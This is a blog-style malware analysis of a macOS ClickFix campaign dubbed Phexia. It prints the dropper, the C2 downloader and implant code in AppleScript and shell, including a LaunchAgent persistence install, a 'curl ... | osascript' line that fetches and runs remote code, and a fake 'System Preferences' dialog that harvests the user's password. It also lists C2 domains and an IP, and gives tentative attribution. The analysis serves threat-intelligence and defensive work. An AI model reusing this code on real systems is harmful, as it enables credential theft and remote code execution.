# Malware Insights: macOS Phexia Campaign

> Source: <https://cookie.engineer/weblog/articles/malware-insights-macos-phexia-campaign.html>
> Published: 2026-06-26 18:13:33+00:00

## Malware Insights : MacOS Phexia Campaign

I got nerdsniped today. Some compromised website wanted me to execute a command
in the
`Terminal.app`

because I've set my User-Agent to a randomized profile and
it was a MacOS Browser.

### Overview

- CNC domains :
`x2db.cx`

,`a5db.ch`

,`a6b6.biz`

,`kfcnevkusno.one`

- CNC bots :
`t.me/neverfakebot`

- CNC networks : Cloudflare
- Target OS : MacOS
- Target Apps : (All) crypto wallets, (All) Browsers, Password extensions, Keychains, Browser Cookies, Browser History, Telegram Auth Data
- Botnet Operator : (Unconfirmed by third-parties) APT28

### Stage 1 : Clickfix Attack

A compromised website asks you to execute a Clickfix payload via
`Cmd + C`

and
`Cmd + V`

right into the
`Terminal.app`

, having copied the downloader's script
command already into your clipboard.

The initial payload for the downloader was obfuscated with
`base64`

encoding and
does a
`curl request`

to download and execute an
`osascript`

file which caught
my curiosity.

```
osascript -e "$(echo "... base64encoded ..." | base64 -d)"
```

#### Dropper Source Code

```
do shell script "
SCRIPT_PATH=\"$HOME/Library/pwvrskwjcwvtcrjr\";
mkdir -p \"$HOME/Library/LaunchAgents\";
cat > \"$HOME/Library/LaunchAgents/com.components.pwvrskwjcwvtcrjr.plist\" <<END_PLIST
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
  <dict>
    <key>Label</key>
    <string>com.launch.pwvrskwjcwvtcrjr</string>
    <key>ProgramArguments</key>
    <array>
      <string>/usr/bin/osascript</string>
      <string>$SCRIPT_PATH</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
  </dict>
</plist>
END_PLIST
"
do shell script "echo \"...base64encoded_implant_downloader...\" | base64 -d > ~/Library/pwvrskwjcwvtcrjr"
do shell script "launchctl unload ~/Library/LaunchAgents/com.components.pwvrskwjcwvtcrjr.plist 2>/dev/null"
do shell script "launchctl load ~/Library/LaunchAgents/com.components.pwvrskwjcwvtcrjr.plist"
```

#### Dropper Summary

- Installs a
`RunAtLoad`

configuration to`~Library/LaunchAgents/com.components.<campaign-identifier>.plist`

- Installs a LaunchAgent via
`launchctl load <campaign-identifier>`

- Downloads and executes second stage payload to
`~/Library/<campaign-identifier>`

### Stage 2 : Control Server Connection and Implant Downloader Loop

The
CNC
connection loop is implemented with another
`osascript`

which
also requests new domains via a Telegram Bot that is owned by the Botnet operator.

#### Downloader

```
property domainsList : {"example.com", "another-example.com", "etc-pp.com" }
property activeDomain: ""
property btxid: "campaign-identifier"

on setDomain()
    repeat with d in domainsList
        set domain to (contents of d)
        set urlresult to "http://" & domain & "/api.php?check"
        set actualurl to "http://" & domain & "/"
        try
            set response to do shell script "/usr/bin/curl -s --connect-timeout 5 --max-time 10 " & quoted form of urlresult
            if response is "success" then
                set activeDomain to actualurl
                return true
            end if
        end try
    end repeat
    try
        set domain to do shell script "curl -s --connect-timeout 5 --max-time 10 https://t.me/botnet-bot-with-statusmessage | sed -n 's/.*<span dir=\"auto\">\\([^<]*\\)<\\/span>.*/\\1/p'"
        set urlresult to "http://" & domain & "/api.php?check"
        set actualurl to "http://" & domain & "/"
        set response to do shell script "curl -s --connect-timeout 5 --max-time 10 " & quoted form of urlresult
        if response is "success" then
            set activeDomain to actualurl
            return true
        end if
    end try
    return false
end setDomain

if setDomain() then
    set startsrc to "curl -s " & quoted form of (activeDomain & "get.php?txid=" & btxid) & " | osascript"
    do shell script startsrc
end if
```

#### Downloader Summary

- Checks the Botnet Operator owned Telegram Bot for changed CNC server domains
- Requests
`/api.php?check`

and`/get.php?txid=...`

to download malware implant - Downloads and executes third stage malware implant

### Stage 3 : Malware Implant

The Malware Implant is a little more sophisticated than initially expected.

#### UUID Fingerprinting

```
on getUUID()
    set methods to {"ioreg -rd1 -c IOPlatformExpertDevice | awk -F'\"' '/IOPlatformUUID/{print $4}'", "ioreg -rd1 -c IOPlatformExpertDevice | grep -o '\"IOPlatformUUID\"[^,]*' | cut -d'\"' -f4", "system_profiler SPHardwareDataType 2>/dev/null | awk '/UUID/{print $NF}'", "system_profiler SPHardwareDataType 2>/dev/null | grep -i 'uuid' | awk '{print $NF}'"}
    repeat with cmd in methods
        try
            set uuid to do shell script cmd
            if length of uuid is 36 then
                if uuid contains "-" then
                    return uuid
                end if
            end if
        end try
    end repeat
end getUUID
```

#### OS Credentials

```
on getUsername()
    set methods to {"whoami", "id -un", "echo $USER", "logname"}
    repeat with cmd in methods
        try
            set username to do shell script cmd
            if username is not "" then return username
        end try
    end repeat
    return "administrator"
end getUsername

on checkPassword(username, enteredpwd)
    try
        set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of enteredpwd
        if result is not equal to "" then
            return false
        else
            return true
        end if
    on error
        return false
    end try
end checkPassword

on getPassword(username)
    set passPhraseFilePath to POSIX path of (path to home folder) & ".passphrase"
    if checkPassword(username, "") then
        do shell script "echo nopassphrase > " & quoted form of passPhraseFilePath
        return true
    else
        repeat
            try
                set result to display dialog "Enter password:" default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
                set enteredpwd to text returned of result
                if checkPassword(username, enteredpwd) then
                    do shell script "echo " & quoted form of enteredpwd & " > " & quoted form of passPhraseFilePath
                    return true
                end if
            end try
        end repeat
    end if
end getPassword
```

#### CNC Domain Update Mechanism

The CNC domain update mechanism is essentially the same as the Downloader Stage is using, therefore nothing different here.

#### CNC Auth and Connect Loop

The CNC auth and connect loop uses
`tccutil reset All`

to reset the permissions
for the current user in case it was blocked. All permission dialogs for all Apps
will popup again to hide the malicious
`System Preferences`

titled dialog and
the administrator password request, which is quite interesting as a technique
to confuse the targeted victim user.

It does a request to
`api.php?connect&username=...`

to find out the registration status.

- If response is
`newconnect`

it resets all permissions for the current user. - If response is
`connected`

it proceeds to download another implant based on task API.

#### CNC Task Implant Loop

Every
`60 seconds`

the Malware Implant tries to download a new task from the CNC
server. The download itself is done via
`curl`

or via injected
`sh`

script and
obfuscated again using
`base64`

encoding. The final downloaded task payload is
an
`osascript`

file containing the Phexia Stealer or other payloads.

#### Malware Implant Summary

- CNC domain update mechanism
`UUID`

fingerprinting via`ioreg -rd1 -c IOPlatformExpertDevice`

`Username`

gathering via`whoami`

,`id -un`

, or`logname`

`Password`

gathering with`System Preferences`

title in dialog, keeping dialog alive for`150`

retries, essentially making it uncloseable.- Downloads and executes fourth stage task implant every
`60 seconds`

### Stage 4 : Phexia Stealer

The final task implant is a Phexia Stealer. The code is written again in
`osascript`

and targets a lot of different MacOS Browsers, Browser Extensions,
Wallets, Password Managers, Keychains etc.

As this too much for this article on its own, you can read about more details on the Phexia Stealer malware in a separate article :

### Botnet Command and Control Server

The Phexia Campaign's botnet is hosted always on
`vdsina.com`

VPS servers.
Initially the Botnet Operator was using Russian ASNs from
`Azalea Networks`

,
before they migrated towards
`Cloudflare`

for all their domains to mask their
identity.

The CNC server itself is using
`Apache 2.4.58`

on a standard
`Ubuntu`

:

```
> curl -v http://146.103.98.59/
*   Trying 146.103.98.59:80...
* Established connection to 146.103.98.59 (146.103.98.59 port 80) from 192.168.2.32 port 45944 
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 146.103.98.59
> User-Agent: curl/8.18.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Sun, 15 Mar 2026 01:14:29 GMT
< Server: Apache/2.4.58 (Ubuntu)
< Last-Modified: Tue, 03 Mar 2026 11:38:38 GMT
< ETag: "0-64c1d24f40b80"
< Accept-Ranges: bytes
< Content-Length: 0
< Content-Type: text/html
< 
* Connection #0 to host 146.103.98.59:80 left intact
```

Though the server has a lot of open ports. Probably using
`portspoof`

or a
similar tool to create those, because none of the ports are reacting even
when I rotate my victim machines.

```
> nmap -P0 146.103.98.59
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-15 02:14 +0100
Nmap scan report for v678355.hosted-by-vdsina.com (146.103.98.59)
Host is up (0.013s latency).
Not shown: 985 closed tcp ports (conn-refused)
PORT     STATE    SERVICE
20/tcp   filtered ftp-data
21/tcp   filtered ftp
22/tcp   open     ssh
23/tcp   filtered telnet
25/tcp   filtered smtp
80/tcp   open     http
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
161/tcp  filtered snmp
427/tcp  filtered svrloc
445/tcp  filtered microsoft-ds
6666/tcp filtered irc
6667/tcp filtered irc
6668/tcp filtered irc
6669/tcp filtered irc
```

### Links to Amatera Botnet and APT28

The Abuse Database shows a lot of Amatera activity coming from the same networks :

A lot of hosts in the former
`vdsina.ru`

(RU) and now rebranded
`vdsina.com`

(UAE)
networks are using Amatera stealer signatures.

It's likely that this is a Russian operation which is part of APT28. Amatera campaigns in the past were focused a lot on Ukrainian networks and websites, but it's unclear at this point whether Phexia stealer campaigns are a part of the same Botnet or whether it's part of the now (post-botnet-takedown in February 2023) restructured APT29 initiative.

As their CNC is using PHP it's just a matter of time until I find an exploit : )
